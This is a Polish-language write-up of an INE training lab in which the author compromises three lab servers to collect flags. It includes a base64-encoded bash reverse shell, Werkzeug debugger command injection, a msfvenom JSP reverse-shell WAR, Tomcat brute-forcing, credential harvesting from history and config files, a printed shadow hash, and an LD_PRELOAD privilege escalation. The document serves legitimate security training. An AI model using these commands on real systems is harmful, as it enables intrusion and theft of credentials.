Description

Lab Environment

In this lab environment, the user is going to get access to a Kali GUI instance. Three machines can be accessed using the tools installed on Kali on server1.ine.localserver2.ine.local and server3.ine.local.

Objective: Attack all machines to retrieve the flags!

Tools

The best tools for this lab are:

  • cURL
  • dirb
  • Nmap
  • Metasploit Framework
  • A Web Browser

Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course, will dramatically reduce the benefits of a hands-on lab!


Black-Box Penetration Test 3 - 21.06.2022 r.

server1.ine.local

Nmap

root@INE:~# nmap -sC -sV server1.ine.local
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 16:42 IST
Nmap scan report for server1.ine.local (192.255.191.3)
Host is up (0.0000090s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Werkzeug httpd 0.9.6 (Python 2.7.13)
|_http-title: Site doesnt have a title (text/plain; charset=utf-8).
MAC Address: 02:42:C0:FF:BF:03 (Unknown)

Podobnie jak w poprzednim boxie, mamy tutaj Werkzeug. Tym razem nie jest zabezpieczony pinem. Można zatem spróbować od razu z Command Execution. __import__('os').popen('whoami').read();. Jak widać pomyślnie.

Pierwsza maszyna poszła bardzo sprawnie.

root@INE:~# echo 'bash -c "bash -i >& /dev/tcp/192.211.54.2/9001 0>&1"'|base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjExLjU0LjIvOTAwMSAwPiYxIgo=

__import__('os').popen('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjExLjU0LjIvOTAwMSAwPiYxIgo= | base64 -d | bash').read();

Nie widać na systemie żadnej flagi, ale sprawdziłem folder /home.

Nietypowo dużo użytkowników. Sprawdziłem również pliki. Tylko użytkownik auditor ma .bash_history.

Okazało się, że .bash_history zawiera ciekawą linię zawierającą dane o drugim hoście.

mysql -h 192.238.232.4 -u root -p fArFLP29UySm4bZj

server2.ine.local

root@INE:~# nmap -sC -sV server2.ine.local
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 18:44 IST
Nmap scan report for server2.ine.local (192.211.54.4)
Host is up (0.000010s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL 5.5.62-0ubuntu0.14.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.62-0ubuntu0.14.04.1
|   Thread ID: 46
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, Speaks41ProtocolOld, LongPassword, InteractiveClient, DontAllowDatabaseTableColumn, SupportsTransactions, SupportsLoadDataLocal, FoundRows, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsCompression, ODBCClient, ConnectWithDatabase, IgnoreSigpipes, LongColumnFlag, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: qe(3i:$A\.m\d`6-}R`j
|_  Auth Plugin Name: mysql_native_password
MAC Address: 02:42:C0:D3:36:04 (Unknown)

Przejrzałem internet pod kątem ewentualnych podatności tej wersji. Niestety nic konkretnego nie znalazłem, ale mam dane logowania z poprzedniego hosta.

show databases;
use mysql;
show tables;
select * from user;

Doczytałem, że mając dostęp do bazy MySQL, można spróbować wysłać payload m.in. przez Metasploit oraz moduł exploit/multi/mysql/mysql_udf_payload.

flag 4c537c0dfd18bafdcd59f53c7015550e


server3.ine.local

root@INE:~# nmap -sC -sV server3.ine.local
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 17:55 IST
Nmap scan report for server3.ine.local (192.255.191.5)
Host is up (0.000010s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e1:c9:8e:a0:ca:07:1d:e9:65:06:f2:8e:cd:51:fa:76 (RSA)
|   256 82:26:cc:66:66:5b:29:7a:82:85:95:c2:43:a0:d4:6a (ECDSA)
|_  256 a9:85:9f:da:86:52:af:8d:ca:43:39:89:fa:9c:59:11 (ED25519)
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesnt have a title (text/html).
|_http-server-header: Apache-Coyote/1.1
MAC Address: 02:42:C0:FF:BF:05 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Zatem na porcie 8080 mamy Apache Tomcat 8.0.53

Bardzo pomocny jest poradnik od hacktricks. https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat

Próbowałem proste hasła i loginy jednak nie przechodziły.

Kolejny punkt to sprawdzenie bruteforcem.

msfconsole
use auxiliary/scanner/http/tomcat_mgr_login

tomcat:s3cret

I jest dostęp do panelu Tomcata.

W tym momencie można uzyskać shell jako tomcat poprzez deploy pliku .war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.238.232.2 LPORT=9090 -f war -o revshell.war

http://server3.ine.local:8080/revshell/

flag1 EBCFE35ACC27E0EA91CF3A5AB600BABE

Ponadto zdaje się, że “jesteśmy” w kontenerze Dockera.

Mamy na boxie użytkownika robert a co najciekawsze, mamy prawo odczytu do pliku /etc/shadow

`robert:$6$D4O99Z5L$Q38CW.ym42GmIbjZRh8DA2rtLHxXgMj.ahVbrBrbWvuBXmP555cGuLG1hkQE1R0eQVX48Rs7yecdU7V96u5Tf0:17822::::::

Próbowałem złamać hasło Hashcatem jednak jest zbyt silne. Postanowiłem poszukać czegoś w plikach. Folder domyślny tomcata ma ciekawe archiwum conf.tar.gz.

tomcat@server3:~/conf$ find .
find .
.
./tomcat-users.xml
./context.xml
./catalina.properties
./catalina.policy
./web.xml
./tomcat-users.xsd
./logging.properties
./server.xml
./Catalina
./Catalina/localhost
./conf.tar.gz

Po rozpakowaniu okazało się, że jest to backup folderu, ale w typowym pliku tomcat-users.xml są zapisane dane dostępowe.

cat tomcat-users.xml
<tomcat-users>
        <user username="tomcat" password="s3cret" roles="manager-gui,admin-gui"/>
        <user username="robert" password="robert@1234567890!@#" roles="manager-gui,admin-gui"/>
</tomcat-users>

robert:robert@1234567890!@#

flag2 EC2986081E84BB845541D5CC0BEE13B3


Root na server3.ine.local

Sprawdzając sudo -l widzimy coś nietypowego.

robert@server3:~$ sudo -l
sudo -l
Matching Defaults entries for robert on server3.ine.local:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_PRELOAD

User robert may run the following commands on server3.ine.local:
    (root) NOPASSWD: /bin/ls

https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/

flag3 560648FC63F090A8CF776326DC13FAC7